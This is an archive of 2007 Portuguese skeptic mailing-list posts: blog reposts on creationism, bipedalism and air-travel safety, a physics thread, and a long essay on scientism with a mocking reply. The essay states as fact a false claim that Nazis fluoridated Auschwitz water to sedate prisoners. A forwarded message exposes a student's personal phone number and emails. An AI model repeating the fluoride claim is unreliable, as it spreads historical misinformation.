TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 20/07/2007 04:33

Nezareth Casti Rey: menino pastor prega sobre o
criacionismo<http://100nexos.com/arquivo/205><http://100nexos.com/arquivo/205#respond>

Assista ao vídeo <http://100nexos.com/arquivo/205>

Lembra-se da menina pastora <http://100nexos.com/arquivo/102>? Conheça
Nezareth Casti Rey, garoto de onze anos que prega em Porto Rico. Aqui, o
pequeno Nezareth ensina sobre a origem do Homem ("e da mulher também, já que
o homem representa uma mulher assim como um presidente representa seu
país"), desfilando velhos argumentos
criacionistas<http://www.geocities.com/gilson_medufpr/evolucao.html>,
bradando não ser parente de macacos, mas "filho de deus!!!".
Da próxima vez que encontrar algum criacionista, lembre-se como seus
argumentos ficam realmente perfeitos quando gritados a todo pulmão por um
garoto de onze anos: "Não sou parente de macacos!", "Macacos e macacas têm
macaquinhos!", e, claro, "sabe-tudos mentirosos da evolução!!!".

*Veja também:*
Os Darwin Awards de 2006 <http://100nexos.com/arquivo/49>E os premiados
deste ano incluem: - Jason e Sara q...
A verdade sobre o Google Earth <http://100nexos.com/arquivo/65> Descobriram
como funciona o Google Earth! [via Be...
Cem milhões de mulheres a menos <http://100nexos.com/arquivo/136>Em um
ensaio publicado no New York Review of Books...
O Apocalipse através de uma webcam <http://100nexos.com/arquivo/176> O
programa tcheco Panorama consiste de quarenta m...
Por que a galinha atravessou a fita de
Moebius?<http://100nexos.com/arquivo/207>"Para chegar no mesmo lado"
Saiba mais sobre a ti...


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SUBJECT: o cientificismo light e o hard (Era: Voltaire)
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 04:34

Oi,

José Renato: Considerar que somos superiores a tudo, livres para
fazer o que quis sem prestar contas a ninguém, plenos conhecedores
dos segredos da natureza...

Jeff: Existe uma prepotência neste sentido, que chamam
de "cientificismo".

Manuel: Não foram religiosos nem filósofos irracionalistas hostis à
ciência (como Heidegger), mas os próprios cientistas que apontaram os
limites do método científico para se conhecer a realidade. Pascal
(físico dedicado à hidrodinâmica), Kant (que, juntamente com Laplace,
criou a hipótese da formação do sistema solar a partir de uma
nebulosa), Planck, Poincaré, Heisenberg, Gödel, Prigogine entre
outros.

Os cientistas já estabeleceram que existem lacunas "absolutas" no
conhecimentos. E essas lacunas são enormes.

Não obstante isso, o cientificismo, essa doença infantil da razão
científica, parte do pressuposto de que o método científico é
omnisciente e omnipenetrante (e a tecnologia por ele criada,
omnipotente): que a ciência tem a potencialidade para
desvelar "todos" os mistérios da natureza.

Quanto à hipótese meramente "heurística" (*) da ausência de
intervenção divina (ou de causas finais) que o cientista adota no
exercício de suas investigações - haja vista que a ciência "deve" se
ater às causas eficientes, imanentes e mecânicas dos fenômenos,
princípio normativo que nem o monge Mendel nem o padre Lemaître
questionaram -, os cientificistas a transformam na
hipótese "científica", altamente provável, da inexistência de Deus.
Alias, alguns deles, os mais obtusos, convertem-na mesmo em uma
certeza (algo tão certo como a asserção, sem a qual não haveria
ciência, segundo a qual "há regularidades na natureza"), valendo-se
para tanto da Navalha de Ockham, como se este instrumento
epistemológico - inventado por um prelado católico, para o
constrangimento desses senhores - fosse o critério da Verdade e não
uma norma de escolha.

Há cientificistas "lights" e "hards". Os "lights" partem de todos os
pressupostos acima, porém consideram a natureza amoral, e que tal
amoralidade incomoda e mesmo entristece os homens: animais gregários
cooperativos "que sofrem quando seus semelhantes sofrem"; e que,
dotados de alto poder de abstração e de generalização - ao ponto de
considerarem todos os seres vivos como "nossos parentes" - sofrem com
o sofrimento universal.

Mas, se "o que é não pode ser mudado", ao menos podem ser obnubiladas
ou transfiguradas as más emoções que o estado natural das coisas nos
desperta - e se consegue isso não tanto por meio da sublimação
artística, pois, de acordo com Freud, a arte produz uma satisfação
muito precária. Já o artifício da ilusão religiosa deve ser de pronto
rechaçada, visto que é contra a ilusão que a ciência investe. A
solução para o sofrimento, inclusive para as dores do amor universal -
essa hipertrofia ou efeito colateral de uma emoção mamífera
(salientando que as aves e alguns répteis também a manifestam) - deve
ser buscada, de acordo com os cientificistas "lights" fiéis a seus
princípios, nas tecnologias criadas pela própria ciência, mormente a
engenharia genética e a bioquímica, isto é, na biotecnologia, na
eugenia positiva e na farmacotecnologia.

A propósito, no romance de Aldous Huxley "Admirável Mundo Novo", um
indivíduo de uma casta biologicamente inferior - uma criação
biotecnológica - afirma para um de seus semelhantes, mais ou menos
com essas palavras: - "Como é bom ser um gama, eu não suportaria ser
um alfa". Disse isso após tomar sua dose diária de "soma", a pílula
da felicidade artificial que, segundo o autor da obra, não possui
efeito colateral algum.

Enquanto essa droga ideal não aparece, vamos nos virando com
antidepressivos, ansiolíticos, reguladores do humor e carbonato de
lítio (contra as neuroses de origem sexual, o Prozac é o melhor
remédio, sobretudo por um de seus efeitos colaterais: diminui
consideravelmente a libido do indivíduo). Aliás, aumentar a dosagem
de flúor nos reservatórios de água potável que abastecem as
populações seria uma outra solução, dado que o ácido
hexafluorsilícico, como descobriram os médicos - verdugos de jaleco -
nazistas, produz efeitos sedativos e tensiolíticos, razão pela qual
introduziram-no no abastecimento d'água do campo de extermínio de
Auschwitz com o propósito de mitigar as resistências psíquicas dos
condenados à morte nas câmaras de gás. (Lembro que a água fluorada já
é usada em muitos países, porém como prática preventivo de saúde
pública: a diminuição de incidência de cáries na população.)

Quanto ao cientificista "hard", este não só defende que "o que é não
pode ser modificado" (lembre-se que a ciência trata "do que é") como
também propugna que "o que é 'deve ser' e é bom que seja". Vale
dizer, para os "hards", as leis do ser (leis biológicas, por exemplo)
são, igualmente, normas do dever ser (imperativos éticos), de modo
que "devemos" (é para nós um dever moral) adequar a sociedade às leis
da natureza, "conditio sine qua non" para a instauração do "melhor
dos mundos possíveis" (os fisiocratas, primeira escola cientificista
de que se tem notícia, defendiam a sujeição da economia às "leis da
natureza" - do grego, fisi(o): natureza; -cracia: governo -, sendo
seu lema "Laissez-faire, laissez-passer, le monde va de lui-même."
(Deixai-nos fazer, deixai-nos passar, o mundo anda por si mesmo).

Destarte, toda ação contrária a esse imperativo cientificista-hard,
de acordo com os fiéis dessa religião laica, denota "doença".
Qualquer sistema moral que não seja a "moral natural" consiste em
criação intelectual de pessoas ressentidas com a realidade devido a
uma enfermidade; ou excreções mentais de indivíduos inaptos - do
ponto de vista evolutivo - subsistindo na esteira que conduz ao
moinho da contra-seleção; ou então, consoante uma vulgata da memética
de Dawkins, um memeplexo virótico e nocivo que se nutre da atividade
eletroquímica do cérebro do hospedeiro e se dissemina através da
linguagem.

Para o cientificista "hard" (quer seja um social-darwinista, um
socialista "científico" ou um cientista econômico neoclássico adepto
do ultraliberalismo ou liberismo), a natureza é ética, haja vista,
repito, o caráter normativo que ele atribui às leis naturais, entre
às quais se incluem as leis da história e as leis do mercado. Também,
para tal tipo de cientificista, o Mau biológico (doenças, inaptidões
ainda não contra-selecionadas, anomias sociobiológicas...) e o Mal
moral são a mesma coisa.

A razão cientificista "hard" é, para todos os efeitos, um sucedâneo
do Deus único dos monoteísmos, mais precisamente do cruel e brutal
Iavé do Antigo Testamento, que se valia da violência extrema para
fazer valer os seus desígnios. Com efeito, para os c-hards, a
violência impera na natureza viva, é a principal força criadora: por
meio dela - através da agressão intra-específica e da luta
intergrupal ou interespecífica - o doente ou inapto (i.e., o portador
do Mal) é eliminado, ao passo que o saudável e apto (ou seja, o
agente do Bem) sobrevive e se dissemina.

Por ser a violência um instrumento do Bem, um meio bom para se chegar
ao Bem, então - concluem esses jusuítas da Igreja Universal da
Ciência - é dever dos justos fazer uso dela.

Um dos ideólogos do liberalismo econômico "laissez faire"
oitocentista, o "social-darwinista de mercado" Herbert Spencer,
propugnou rédeas soltas à ultraviolência da natureza contra os
fracos, doentes e inaptos. É dele essa sentença: "Os que são capazes
de viver, viverão e é justo que vivam; os que não são capazes de
viver morrerão, e é justo que morram". Como se pode constatar, para
esse pensador a seleção natural estabilizadora - que "apena" os
falhados com a morte - aplicada à sociedade humana é meio de
promover "justiça penal", castigos justos. Em miúdos, os incapazes
morrem "justamente" porque são maus, sua maldade está em seu
genótipo, sendo, portanto, inata e transmissível às gerações futuras.
Impressionando como isso lembra o mito judaico-cristão do pecado
original, que vem passando de geração a geração desde Adão (todo
homem, descendente de Adão, nasce em pecado), pecado adâmico
expurgável com o batismo ou com com muito sofrimento, morte dolorosa,
trabalho escravo etc.

Os c-hards ultraliberais que não pertencem à corrente "social-
darwinista de mercado defendem, no entanto, ponto de vista análogo
(ou homólogo?), ao postularem que o postularem que o sistema de
preços, no contexto do livre-mercado, não apenas é o mecanismo mais
eficiente de alocação de recursos como o meio por excelência de
estabelecer "justiça distributiva". Ora, em ambos os casos as leis do
mercado são tidas como promotoras da Justiça e do Bem, apresentadas
sob uma auréola moral. Fala-se até em uma "mão invisível" que ajusta
os comportamentos egoísticos dos sujeitos econômicos de modo que
venham a resultar numa totalidade harmônica - mão invisível esta que,
para operar, não raro necessita, como assinalou Milton Friedman, de
um "punho visível", istoé, da violência

No que diz respeito ao marxismo-leninismo-stalinismo (uma variedade
de esquerda do cientificismo "hard"), segundo sua premissa maior o
processo histórico é um movimento progressivo - do inferior ao
superior - presidido por uma férrea lei objetiva: a lei da unidade
dialética entre forças produtivas materiais e relações sociais de
produção. Resumindo de maneira grosseira: as forças produtivas se
desenvolvem até não mais caberem nas relações de produção que antes
favoreciam o seu desenvolvimento. É quando a correspondência entre
ambas se transforma em contradição antagônica. Porém, através de uma
revolução, novas relações de produção substituem as antigas e a
harmonia é restabelecida. Esse movimento teve por ponto de partida a
comunidade primitiva, passou sucessivamente por vários modos de
produção - o do tipo asiático, o escravismo, o feudalismo, o
capitalismo - e tende a culminar no socialismo.

Algumas perguntas, porém, perturbam os materialitas históricos: o que
garante que esse movimento objetivo, progressivo e necessário nos
conduzirá a uma sociedade mais justa, livre e fraterna? E se Marx,
após muito investigar, concluisse que o processo histórico segue
inelutavelmente rumo a uma sociedade fortemente hierarquizada,
totalitária e baseada numa nova forma de trabalho escravo? Se a
racionalidade histórica há de desembocar nessa barbárie, valeria a
pena se aliar à razão, agir racionalmente?

Stalin, em seu ensaio "Problemas Econômicos do Socialismo na Rússia
(1952), em certos trechos parece sustentar que sim: que devemos nos
submeter aos ditames da razão histórica, pois se opor a ela é ir ao
encontro da morte, do extermínio. Essa relação com a razão é análoga
a relação de certos povos primitivos com seus terríveis deuses:
apenas para não serem mortos ou supliciados por tais divindades, os
indivíduos se prostravam em seus templos e oferendavam-lhes seus mais
valiosos bens.

Com efeito, para Stalin a superioridade do socialismo em relação ao
capitalismo nada tem a ver com ética (o progresso histórico é alheio
à moral), mas com o fato de as relações socialistas de produção serem
as únicas adequadas ao alto grau de desenvolvimento alcançado pelas
forças produtivas da sociedade e, também, as únicas capazes de
promover o seu desenvolvimento posterior. A respeito do que pensava
Stalin acerca da relação entre devir histórico e o que Lukács
denominou de a "moral dos fins últimos", o filósofo italiano Lucio
Colletti (ex-comunista, atualmente um liberal de esquerda)
escreveu: "[conforme a vulgata stalinista do materialismo histórico],
a transformação da sociedade, a passagem de um tipo de sociedade a
outro, não tem o dever de realizar finalidades humanas. Tem como
única... finalidade restabelecer o pleno funcionamento da lei causal
da "correspondência". O socialismo [na acepção de Stalin,
escandalosamente manifesta nos crimes bárbaros que ele e sua
camarilha cometeram] não tem nada a ver com a liberdade. Uma vez
restabelecida aquela "correspondência", ele suporta sem a menor
dificuldade inclusive os campos de concentração".

O cientificismo "hard" (ou fundamentalista) é a religião laica que
mais seduz indivíduos inteligentes, orgulhosos da sua cultura,
cerebrotônicos, dominados pelo "medo irracional do irracional",
emocionalmente arruinados e de caráter sadomasoquista. Se o
frankensteiniano desejo do conhecimento absoluto gera monstros
assassinos, então... vivam as lacunas da Ciência!

Abraços,
Manuel Bulcão



SUBJECT: A marcha do progresso em uma esteira elétrica
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 20/07/2007 04:35

A marcha do progresso em uma esteira
el�trica<http://100nexos.com/arquivo/206> Published July
20th, 2007 in Ci�ncia <http://100nexos.com/arquivo/category/ciencia/> and
Imagens <http://100nexos.com/arquivo/category/imagens/>. 0
Comments<http://100nexos.com/arquivo/206#respond>

<http://www.newscientist.com/article/dn12269-walking-on-two-feet-was-an-energysaving-step.html>

Os ancestrais do homem se transformaram em b�pedes para economizar energia,
segundo um estudo divulgado nesta segunda-feira pela revista "Proceedings of
the National Academy of Sciences". Numa pesquisa para demonstrar a sua
teoria, antrop�logos de tr�s universidades dos Estados Unidos mediram a
despesa de energia no deslocamento dos seres humanos, chimpanz�s adultos e
quadr�pedes em geral. Os participantes caminharam sobre duas pernas ou se
movimentaram de quatro sobre o solo. O estudo determinou que, no que se
refere � despesa de energia e calorias, os seres humanos economizam 75%
quando caminham, segundo os cientistas da Universidade de Washington em
Saint Louis, da Universidade da Calif�rnia e da Universidade do Arizona. -
EFE <http://www.clicabrasilia.com.br/portal/noticia.php?IdNoticia=32448>

Os estudiosos sugerem que os chimpanz�s costumam andar com as quatro patas
para maior seguran�a em seu ambiente, como em �rvores, e que o ganho de
efici�ncia no andar ereto dos humanos (e seus ancestrais) pode ter sido
importante para novos h�bitos como a ca�a. Uma das t�ticas de ca�a de nossos
ancestrais consistia em ferir um animal e ent�o segui-lo, por longas
dist�ncias, at� que finalmente sucumbisse aos ferimentos � abater um grande
animal instantaneamente � muito dif�cil.
O estudo � importante por seus achados, mas ainda mais interessante pela
forma como realizado: fazendo chimpanz�s andar e correr sobre uma esteira
el�trica, devidamente usando m�scaras que mediram seu consumo de oxig�nio. O
equipamento � exatamente o mesmo utilizado por atletas e tamb�m em alguns
exames m�dicos. Voc� pode conferir o v�deo dos macacos andando na esteira
aqui <http://www.livescience.com/animals/070716_chimps_walk.html>. Como um
pesquisador comentou, "esses chimpanz�s s�o t�o espertos que apertam o bot�o
para parar a esteira quando acabam. Quando n�o queriam andar na esteira,
apenas apertavam o bot�o para parar ou pulavam pata fora".
Mais ador�vel ainda � a imagem usada nos materiais de divulga��o do estudo.
A fotografia acima, uma montagem de Cary
Wolinsky<http://www.livescience.com/php/multimedia/imagedisplay/img_display.php?pic=070716_chimp_walk_02.jpg&cap=This+composite+photograph+-+an+homage+to+iconic%2C+if+outdated%2C+%22Evolution+of+Man%22+imagery+-+depicts+the+measurement+of+oxygen+consumption+during>,
� uma refer�ncia � "ic�nica, ainda que ultrapassada" imagem sobre a evolu��o
humana: "Marcha do Progresso" ["March of
Progress<http://www.corante.com/loom/archives/004732.html>"],
originalmente criada por Rudy Zallinger em 1970, e parodiada desde ent�o.

(Essa � apenas uma vers�o diferente, curiosamente n�o h� na internet uma
reprodu��o do original de Zallinger � que � reproduzido, por exemplo, em uma
capa da edi��o brasileiro de "Os Drag�es do �den" de Carl Sagan)


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Os lugares mais seguros em um avião. Seriam em um carro?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
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DATE: 20/07/2007 04:38

Os lugares mais seguros em um avi�o. Seriam em um
carro?<http://100nexos.com/arquivo/208>

<http://www.popularmechanics.com/science/air_space/4219452.html>
Mencionando o acidente do v�o JJ-3054, a revista americana Popular Mechanics
revisou os dados de todos acidentes com v�timas fatais ocorridos nos EUA
desde 1971 para checar *o mito de que seria mais seguro viajar nos lugares
da parte traseira do avi�o*. Ao contr�rio do que especialistas afirmam �
indo da Boeing at� oficiais da FAA e do Conselho Nacional de Seguran�a de
Transporte � a Popular Mechanics descobriu que *os dados de fato ap�iam o
mito*:

A cabine traseira (assentos localizados atr�s da asa) tiveram a maior taxa
de sobreviv�ncia, com 69%. A se��o sobre a asa teve uma taxa de
sobreviv�ncia de 56%, assim como a se��o � frente da asa. As se��es de
primeira-classe e classe executiva tiveram uma chance de sobreviv�ncia de
apenas 49%.

Mas antes que voc� passe a exigir voar apenas no �ltimo assento ao lado do
banheiro e junto com os oficiais de bordo, � melhor entender um pouco melhor
o que foi descoberto aqui. A revista analisou os dados de acidentes fatais
nos EUA, j� que dados de outros pa�ses costumam ser ainda mais escassos. E
resulta que houve apenas vinte (20) acidentes fatais nos EUA desde 1971. �
um n�mero muito pequeno, e provavelmente pouco representativo de acidentes
fatais em geral pelo mundo. A diferen�a entre as porcentagens � de 49% a 69%
� tamb�m n�o � gigantesca, e sublinha novamente como os resultados n�o devem
ser tomados com tanta confian�a. Estudos analisando mais acidentes podem
muito bem inverter a situa��o, ou mesmo endossar a opini�o de peritos e
especialistas, de que de forma geral realmente n�o h� lugares mais seguros
que outros em um avi�o.
E ent�o, como se comentou em um f�rum de
discuss�o<http://www.airliners.net/discussions/general_aviation/read.main/3515800/>,
"em termos das chances de realmente morrer em um avi�o, � talvez uma
diferen�a entre 0,000007% e 0,000008%". Voar seguramente � a forma mais
segura de transporte no mundo.
*Mas ainda seria a forma mais segura de transporte no Brasil?* No ano de
2006, segundo esta
tabela<http://www.desastresaereos.net/acidentes_brasil_01.htm>,
houve em torno de 200 v�timas (mais da metade no acidente GOL 1907). No
mesmo ano, o n�mero de passageiros de avi�o teria sido de 102
milh�es<http://clipping.planejamento.gov.br/Noticias.asp?NOTCod=356797>.
Em torno de uma morte a cada 510.000 passageiros.
No mesmo ano, o n�mero de v�timas nas estradas girou em torno de
160.000<http://www.estradas.com.br/sosestradas/estudos/sos_estudos_acidentes.asp>.
Se a seguran�a nas estradas brasileiras fosse equivalente a dos v�os, *mais
de 81 bilh�es de viajantes* deveriam ter sido transportados nas estradas
apenas no ano de 2006. Astron�mico, mas nem tanto: cada brasileiro vivo
deveria ter viajado nas estradas mais de 450 vezes ao ano. N�o t�o
irrazo�vel, considerando que muitos viajam mais de duas vezes. Considere-se
tamb�m que a grande maioria das v�timas inclui feridos, o n�mero de v�timas
fatais seria de 24.000, mais de seis vezes menor. O detalhe ignorado aqui �,
claro, *a dist�ncia percorrida*: n�o deve ser preciso apresentar dados para
convenc�-lo de que o passageiro comum de avi�o costuma percorrer dist�ncias
muitas vezes maior do que o viajante de estradas comum. Levando em conta as
chances de sobreviv�ncia pela dist�ncia percorrida � que � o que importa se
voc� quer ir de um local a outro �, mesmo o ano de 2006, com uma trag�dia
a�rea at� ent�o sem precedentes, foi um ano mais seguro para aqueles
cruzando dist�ncias em avi�es.
O ano de 2007 j� contabiliza mais de 200 v�timas, mas a menos que ocorra um
outro acidente de grandes propor��es � e outro, e mais outro� � ainda ser�
mais seguro voar. E estes s�o anos extraordinariamente perigosos nos ares: em
toda a d�cada de 1990, houve menos de 400 v�timas em acidentes
a�reos<http://www.desastresaereos.net/acidentes_brasil_05.htm>(incluindo
o acidente do Fokker 100 em 1996).
Ao escrever este post, dois dados me impressionaram. O primeiro � o de que,
considerando o n�mero de vezes em que voc� entra em seu carro ou em um
�nibus e o n�mero de vezes em que voc� entra em um avi�o, pelo menos no ano
de 2006 e agora, 2007, as chances de sair vivo no Brasil s�o compar�veis
talvez na mesma ordem de grandeza. Ir de carro at� a padaria seguramente n�o
� o mesmo que fazer uma ponte a�rea, e considerar dist�ncias percorridas �
necess�rio, mas n�o deixa de ser curioso. O outro dado que me impressionou �
o de que segundo esta
nota<http://clipping.planejamento.gov.br/Noticias.asp?NOTCod=356797>,
a frota de avi�es no pa�s n�o s� caiu (embora o tr�fego tenha aumentado),
como � relativamente �nfima comparada com a de carros ou mesmo �nibus. Ela
caiu de 350 avi�es em 2001 para 265 hoje. *A frota de avi�es civis no pa�s �
composta por duzentos e sessenta e cinco aeronaves regulares*.
PS.: Devo ter cometido v�rios erros neste post, e corrigirei feliz qualquer
um deles!

*Veja tamb�m:*
Jogar uma bola a 100km/h de um carro a 100km/h: os
resultados<http://100nexos.com/arquivo/173>O que acontece se voc�
estver dentro de um ...
"Essa � pra quem viaja muito de avi�o, da
GOL"<http://100nexos.com/arquivo/130>Se
voc� estiver sentado pr�ximo a um ...
Dez coisas que voc� nunca deve comprar usadas (e dez que
deve)<http://100nexos.com/arquivo/88>Liz
Pulliam Weston do MSN Money d� as dicas...
O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> H�
pouco um novo filme do dia fat�d...
Pris�o domiciliar <http://100nexos.com/arquivo/97>Ouvi dizer que custa
R$50.000 para manter um crimo...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 05:07

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> A bola caiu 18 cm verticalmente. E horizontalmente se deslocou
> 17,5cm.
>
> -0,18 = -1/2.9,8.deltat1^2
> deltat1' ~ 0,1917 s
>
> Vmx1' = deltaS1/deltat1 = 0,175/0,1917 ~ 0,913 m/s
>
> A velocidade final seria:
> Vx1' = 2.Vmx1' ~ 1,83 m/s
>
> A aceleração média seria de:
> ax1' = Vx1'/deltat1' ~ 9,53 m/s2
>
> Isso resulta em um ventinho de nada menos q 116,72 km/h.

E a coisa fica pior.

Vamos ao trecho em q vai desse primeiro subtrecho até atingir o solo.

A queda é de 1,02m. O deslocamento horizontal é de 0,175m.
Vyo = 9,8.0,1917 ~ -1,878 m/s

1.8782971010998233449837058817343

-1,02 = -1,878.deltat1" -1/2.9,8.deltat1"^2
deltat1" ~ 0,30321 s

Vmx1" = deltaS1"/deltat1" = 0,175/0,30321 ~ 0,57716 m/s
Vx1" = 2.Vxm1" - Vx1' = -0,6718 m/s
ax1" = Vx1"/deltat1" ~ -2,215641324 m/s2

Novamente, uma aceleração negativa o q significa q teria q surgir uma
força *contrária* para frear a bola. Não pode ser o ar - q estava
*acelerando* a bola. Mas tb não poderia ser outra coisa - a bola está
no ar...

De uma forma ou de outra, a trajetória é incompatível com a tese de q
o vento tenha uma influência significativa sobre a bola - seja com
aceleração constante, seja com aceleração variável.

Note-se ainda os intervalos de tempo, da ordem de décimos de segundo.
O vento não possui tal dinamismo para alterar sua velocidade
bruscamente - de incríveis 116 km/h em um sentido para uns 60 km/h no
sentido contrário em frações de segundo.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Motor "revolucionário"
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 09:56

Fiz algumas pesquisas sobre esse motor da Axle e escrevi mais um post da série "moto contínuo". Detalhes em
http://alvaroaugusto.blogspot.com/2007/07/moto-contnuo-o-sonho-que-no-quer-morrer.html

[ ]s

Alvaro Augusto

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Entropia: Pequeno paradoxo cosmológico
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 10:56

Takata,

Na visão "fisiques", direção supoe dois pontos,
concorda? Supoe o sentido do deslocamento de um ponto
a outro, certo? E este deslocamento supoe dois pontos
"fisiqueses" no espaço "fisiques", não é? Então,
pergunto, será que a compreensão de entropia e seta do
tempo é uma questão de "fisiques"? Ou será que o
paradoxo não está no próprio olho "fisiques"?

> (Semana q vem uma possível semana q vem)



sinceramente
ferrari

EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

Para receber meus textos inéditos (de literatura), envie um email para:
mferrari-subscribe@yahoogrupos.com.br






















Flickr agora em português. Você cria, todo mundo vê.
http://www.flickr.com.br/


SUBJECT: Fw: Pedido
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 12:06

Vcs topam ajudar?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Pedro Raivado Kanga Peter
Para: Prof. Luiz Ferraz Netto
Enviada em: quinta-feira, 19 de julho de 2007 05:55
Assunto: Pedido



Eu Pedro Raivado Kanga, estudante universitário, nacinalidade angolana.
Vim através deste intermédio pedir ao Sr. Professor Luiz para que sejamos amigos e também pedir algumas informações a cerca de Formações Superiores a Distancia, istoé no ramo de Engenharia.
Porque eu estou a Efectuar o 2º ano curso Bacharel de Eng. Electrica e protendo especializar-me em cursando Electrónica digital.

Será que o Sr. Prof. aceita de me ajudar?

Os meus melhores cumprimentos.

Contactos
Tel. +244923885323
E-mails: prkanga@hotmail.com
pkanga2001nbe@yahoo.com.br




Flickr agora em português. Você cria, todo mundo vê. Saiba mais.



--------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.476 / Virus Database: 269.10.9/907 - Release Date: 18/07/2007 15:30


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Entropia: Pequeno paradoxo cosmológico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 12:27

Lamento. No momento em q vc não se digna a transcrever sua resolução
para o problema, não me vejo na obrigação de responder a vc.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Na visão "fisiques", direção supoe dois pontos,
> concorda?



SUBJECT: [RN] Inseto robótico levanta vôo pela primeira vez
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 12:32

Com dimensões reais e apenas 60 miligramas, robô conseguiu voar.
Realização amplia possibilidades de utilização de equipamento para
segurança.
http://g1.globo.com/Noticias/Tecnologia/0,,MUL73449-6174,00.html
--------------------
Isso é algo q me dá aflição. Não por serem insectóides decerto, mas
por serem espiões virtualmente indetectáveis. Não q tenhamos coisas
terríveis a esconder, mas a idéia de perder a pouca privacidade q nos
resta é-me perturbadora. Daqui a pouco cai na rede a foto de minha
coleção secreta de relouquites... brrrrr.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] o cientificismo light e o hard
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/07/2007 12:58

Tentei três tradutores automáticos para converter esse texto do Bulcão para a língua portuguesa; todos se auto-bloquearam pela quantidade de palavras não conhecidas. Esses tradutores automáticos quando encontram tais palavrões (como: omnipenetrante, imanentes, animais gregários cooperativos, obnubiladas, sublimação artística, efeito colateral de uma emoção mamífera, propugna, excreções mentais de indivíduos inaptos, consoante uma vulgata da memética , .... até o buscador dos palavrões se auto-bloqueou!) recorrem a todas as outras línguas conhecidas no intuito de achar uma versão para o contexto --- e nada!
Assim, se alguém tiver um tradutor específico para a conversão Bulcão/Português eu agradeço pois estou realmente interessado em saber o que ele escreveu.
Assim que eu aprender um pouco dessa nova linguagem vou converter todos os textos do Feira de Ciências para ela; é impressionante! Cristalina!

No aguardo, com interesse.

aquele abraço,

:-)))))))))))
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 20 de julho de 2007 04:34
Assunto: [ciencialist] o cientificismo light e o hard (Era: Voltaire)


Oi,

José Renato: Considerar que somos superiores a tudo, livres para
fazer o que quis sem prestar contas a ninguém, plenos conhecedores
dos segredos da natureza...

Jeff: Existe uma prepotência neste sentido, que chamam
de "cientificismo".

Manuel: Não foram religiosos nem filósofos irracionalistas hostis à
ciência (como Heidegger), mas os próprios cientistas que apontaram os
limites do método científico para se conhecer a realidade. Pascal
(físico dedicado à hidrodinâmica), Kant (que, juntamente com Laplace,
criou a hipótese da formação do sistema solar a partir de uma
nebulosa), Planck, Poincaré, Heisenberg, Gödel, Prigogine entre
outros.

Os cientistas já estabeleceram que existem lacunas "absolutas" no
conhecimentos. E essas lacunas são enormes.

Não obstante isso, o cientificismo, essa doença infantil da razão
científica, parte do pressuposto de que o método científico é
omnisciente e omnipenetrante (e a tecnologia por ele criada,
omnipotente): que a ciência tem a potencialidade para
desvelar "todos" os mistérios da natureza.

Quanto à hipótese meramente "heurística" (*) da ausência de
intervenção divina (ou de causas finais) que o cientista adota no
exercício de suas investigações - haja vista que a ciência "deve" se
ater às causas eficientes, imanentes e mecânicas dos fenômenos,
princípio normativo que nem o monge Mendel nem o padre Lemaître
questionaram -, os cientificistas a transformam na
hipótese "científica", altamente provável, da inexistência de Deus.
Alias, alguns deles, os mais obtusos, convertem-na mesmo em uma
certeza (algo tão certo como a asserção, sem a qual não haveria
ciência, segundo a qual "há regularidades na natureza"), valendo-se
para tanto da Navalha de Ockham, como se este instrumento
epistemológico - inventado por um prelado católico, para o
constrangimento desses senhores - fosse o critério da Verdade e não
uma norma de escolha.

Há cientificistas "lights" e "hards". Os "lights" partem de todos os
pressupostos acima, porém consideram a natureza amoral, e que tal
amoralidade incomoda e mesmo entristece os homens: animais gregários
cooperativos "que sofrem quando seus semelhantes sofrem"; e que,
dotados de alto poder de abstração e de generalização - ao ponto de
